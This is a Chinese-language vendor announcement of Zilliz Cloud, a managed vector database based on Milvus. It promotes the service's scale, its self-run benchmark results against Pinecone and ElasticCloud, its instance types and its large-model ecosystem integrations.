自 OpenAI 在去年 11 月发布 ChatGPT 以来，AI 市场被彻底引爆，国内外科技企业纷纷发布自家的 AI 大模型。国内大模型的发展也迎来前所未有之机遇，“百模”激战正酣。在刚闭幕的世界人工智能大会上，国内外科技公司全线加入，三十余款大模型集中亮相，“国家队”尘埃落定，并正式启动大模型测试国家标准制订，掀起新一轮大模型热浪。而作为“大模型记忆体”、AIGC 应用开发新范式的重要组成部分，向量数据库的演进也逐渐达到了前所未有的新高度。

Milvus 自 2019 年正式开源以来，已经成长为全球最大、最活跃的向量数据库开源项目与开发者社区。作为 Milvus 背后的开发者与运营者，Zilliz 一直走在向量数据库的最前沿，始终秉承为开发者提供易用性强、性价比高的向量数据库服务的理念。经过五年的持续打磨，终于在国内推出了基于 Milvus 的全托管向量数据库云服务产品——Zilliz Cloud。

经过不断地开发与升级，Zilliz Cloud 俨然成为向量数据库赛道的领先者。随着 Zilliz Cloud 在国内全面开启向量数据库云服务，也为向量数据库的高速发展开启了全新的纪元。对于此次在国内的服务落地，Zilliz 秉承的使命和目标尤为清晰和明确：

• 提供全球最专业的全托管向量数据库云服务。
• 打破向量数据库服务集中在北美，国内无可用向量数据库服务的尴尬局面。
• 满足向量数据库服务多云的需求，避免业务被单一云环境限制。
• 为跨境业务中所需要的统一向量数据库服务和架构提供可行性。
• Milvus 开源解决方案、SaaS、PaaS 统一接口标准，无缝线下/云上迁移，并大幅度降低混合部署的综合成本。
• 提供比开源 Milvus 具有更高性价比、更稳定服务支持的产品和解决方案。

成熟稳定，全球率先支持十亿级别向量规模的服务

Milvus 自开源以来，一直都是企业用户自建向量数据平台的首选，全套技术解决方案已被上万家企业所采用，其中百度、新浪、理想汽车、华泰证券、沃尔玛、LINE、BIGO 等头部企业在实践中经过反复验证，均已顺利投产。

向量数据库是 AIGC 大模型的重要补充，是提供准确可靠、高度可扩展的长短期“记忆”的关键载体。近一年，向量数据库项目如雨后春笋般涌现。然而，大部分向量数据库支持的向量数据规模仅停留在千万量级，并不具备支撑生产环境的能力。

相较之下，Milvus 在过去 5 年的客户应用场景覆盖各行各业，早在 2021 年就实现稳定支持十亿级向量规模的线上服务。如今，Zilliz Cloud 的向量数据库服务可轻松支持十亿级以上规模向量数据，可用性高达 99.9%。

此外，在产品与技术背后，Zilliz 亦拥有全球最资深的向量数据库专家团队，可以为每一位企业用户配备 4 名技术支持，“没有人比我们更懂向量数据库”是团队对开源社区与商业化用户的承诺。

高性能+高性价比，性能优异远超同类产品

当前主流的向量数据索引算法是内存算法或内存/SSD 混合，算法内核以矩阵计算为主（类似 HPC），大规模向量检索与分析是计算/内存双重密集的任务。这意味着向量数据库作为基础设施，对于性能与成本更加敏感。

从性能方面来看，Zilliz Cloud 在 QPS 和降低查询延迟方面远超其他同类产品。我们将 Zilliz Cloud 、Milvus、Pinecone、ElasticCloud 4 个常见的向量数据库（ElasticCloud 严格来说不属于向量数据库，但附带向量能力，在传统文本检索领域受众最广，可以视为目前传统数据库支持向量检索的代表）在同等资源及 6 组向量查询任务的同等条件下进行了对比（测试框架已开源，详见 VectorDBBench，Leaderboard）。

对比结果如下：

在查询吞吐方面，Zilliz Cloud 在全部6组查询任务中全面力压向量数据库 Pinecone，整体性能平均超越2倍以上。与此同时，Zilliz Cloud 相比 Milvus，也有将近一倍的提升，表现令人眼前一亮。ElasticCloud 作为传统文本检索服务的代表，向量查询能力主要为补充能力，这 6 组查询任务的 QPS 均在 50 以下。

查询延迟方面，Zilliz Cloud 整体在 10 ms 以下，Milvus 整体在 20 ms 以下，Pinecone 在 20-40 ms 之间，ElasticCloud 差距较为明显。

性价比方面，主要考察 Queries per dollar (高并发情况下，单位成本所能支持的查询请求数量)。相较 Pinecone、Elastic，Zilliz Cloud 的优势十分明显。指标相比第二位的 Pinecone 最多可以高出 1 个数量级（Q1, Q2），在剩下的四组任务中普遍可以高 3 倍左右。（由于 Milvus 为开源方案，难以和商业化服务在相同标准下比较，我们在这组测试中将其移除。）

黑科技加持，软硬件性能飙升，全新内核火力全开

Zilliz Cloud 采用商业化引擎，综合性能超过Milvus 开源引擎的 1 倍以上。引擎针对典型场景进行深度优化，性能可提升 3-5 倍。

硬件层面，Zilliz 与英伟达、英特尔等一线硬件厂商有着长期稳定的合作，向量算法内核针对 X86、ARM、GPU 进行了定制化优化。

软件层面，Zilliz Cloud 推出了 Autoindex 智能索引。智能索引根据用户的向量维度、数据规模、数据分布、查询特性进行持续的自动化调优，免去用户索引类型选型以及参数调优的痛苦。据 Zilliz 内部测试，autoindex 智能索引已经达到向量数据库专家手工调优效果的 84%，大幅超越用户的平均水平。在下一阶段，autoindex 智能索引的功能还会得到大幅度增强，支持用户指定 recall 进行优化，保证索引运行在指定查询准确度的最优点。

当然，针对最近大火的 AIGC 应用，Zilliz Cloud 也推出了专门的特性支持：

• 动态 schema ，可以根据 AIGC 迭代需要，灵活扩展向量特征或标签字段。
• Partition Key ，支持 AIGC 应用多用户知识库的利器，相较单独建表方案，综合成本可下降 2 -3 个数量级。
• 支持 JSON 类型，可以将 JSON 与 embedding 这两种超强能力相结合，实现基于 JSON 与 embedding向量的混合数据表示以及复杂的业务逻辑。

打破 “CAP” 不可能三角，给用户灵活选择

向量数据库技术发展到现在并不完美，通常情况下，业务需要在成本（Cost）、查询效果与准确度（Accuracy）、查询性能（Performance）之间做权衡，即向量数据库的 CAP 问题。目前来看，CAP 是一个不可能三角，Zilliz 的解法是在典型的位置给出局部最优解，并给用户以灵活的选择。

事实上，用户的普遍场景可以归纳为性能需求型、容量需求型与成本敏感型。为此，Zilliz Cloud 在向量数据库实例中也相应提供了三类支持：性能型、容量型和经济型。不同的实例类型由不同的算法与硬件资源组合而成，适用于不同的业务场景。

• 性能型实例适用于需要低延迟和高吞吐量的向量相似性检索场景，该类型的实例能够保证毫秒级的响应。

性能型实例的适用场景包括但不限于：生成式 AI、推荐系统、搜索引擎、聊天机器人、内容审核、LLM 增强的知识库、金融风控。

• 容量型实例可以支持的数据量是性能型的 5 倍，但查询延迟略有增加，因此适用于需要大量存储空间的场景，尤其是需要处理千万级以上向量数据的场景。

容量型实例的适用场景包括但不限于：搜索大规模的非结构化数据（如：文本、图像、音频、视频、药物化学结构等）、侵权检测、生物身份验证。

• 经济型实例可支持的数据规模与容量型一致，但价格优惠 7 折左右，性能略有下降，适用于追求高性价比或预算敏感的场景。

经济型实例的适用场景包括但不限于：数据标记或数据聚类、数据去重、数据异常检测、平衡训练集类型分布。

支持大模型与非结构化数据处理全生态覆盖

没有任何一套系统可以满足使用者业务上的所有需求，向量数据库也是如此。在以向量数据库为支撑的业务中，往往需要处理多道流程，包括：

• 业务数据的语义结构化，如从文本数据中梳理标题 embedding、内容段落的embedding、一二级主题、阅读时间；
• 面向端到端效果的模型选型，如寻找能带来最佳效果的 embedding 模型选型；
• 模型与向量数据库的集成，如向量数据库查询驱动的原始数据召回以及后续 LLM 对召回内容的总结或重构等。

为了进一步降低应用构建成本，提供标准化组件，Zilliz Cloud 为开发者提供了双重支持：

• 大模型生态对接。2023 年 3 月，Zilliz 作为 OpenAI 首批向量数据库合作伙伴，完成了 Milvus 与 Zilliz Cloud 的插件化集成，被纳入官方推荐的向量数据库插件名单。不止如此，Zilliz 还与 LangChain、Cohere、LlamaIndex、Auto-GPT、BabyAGI 等热门项目进行了深度集成。此外，与国产大模型如文心一言、通义千问、智谱 AI、MiniMax、360 智脑等对接工作正在进行中，近期将会有更多成果发布。
• 面向非结构化数据处理流水线。Zilliz Cloud 提供了开源的 Towhee 工具框架。开发者可以在熟悉的 Python 环境，以类似 Spark 的算子语法编写自己的流水线，轻松处理文本、图片、音频、视频、化合物结构等非结构化数据的 ETL 过程。Towhee 同时提供自动化编排工具，一键在 Python 环境验证过的流水线组织成基于 Triton、TensorRT、ONNX 以及一系列硬件加速算法的服务镜像，面向如文本近似搜索、智能问答、知识库等典型场景。当然，Towhee 也提供深度优化的标准流水线。

目前，Zilliz Cloud 提供 SaaS 和 PaaS 服务，其中 SaaS 已覆盖 AWS、GCP、阿里云，PaaS 覆盖 AWS、GCP、Azure、阿里云、百度智能云、腾讯云和金山云。国内官网已同步上线，更多详情和案例可以访问 Https://zilliz.com.cn（海外官网和云服务入口：Https://zilliz.com）。

为了加速打磨业界最佳实践，我们即将启动「寻找 AIGC 时代的 CVP 实践之星」 专题活动，Zilliz 将联合国内头部大模型厂商一同甄选应用场景， 由双方提供向量数据库与大模型顶级技术专家为用户赋能，一同打磨应用，提升落地效果，赋能业务本身。如果你的应用也适合 CVP 框架，且正为应用落地和实际效果发愁，可直接申请参与活动，获得最专业的帮助和指导。（注：CVP 即 C 代表以 ChatGPT 为代表的 LLMs，V 代表 Vector DB，P 代表 Prompt Engineering，联系方式参见 business@zilliz.com）

2023 年伴随着 AGI 和 LLMs 的爆发已经过半，加速探索大模型落地之路已经迫在眉睫。行业的高度共识推动着 AI 奇点的来临，大模型将重构企业级应用，重塑人工智能产业的发展方向。Zilliz 表示，未来将持续聚焦向量数据库行业发展的最前沿，以各行各业的智能化演进为目标，为大模型时代的企业和开发者提供最具竞争力的“大模型记忆体”。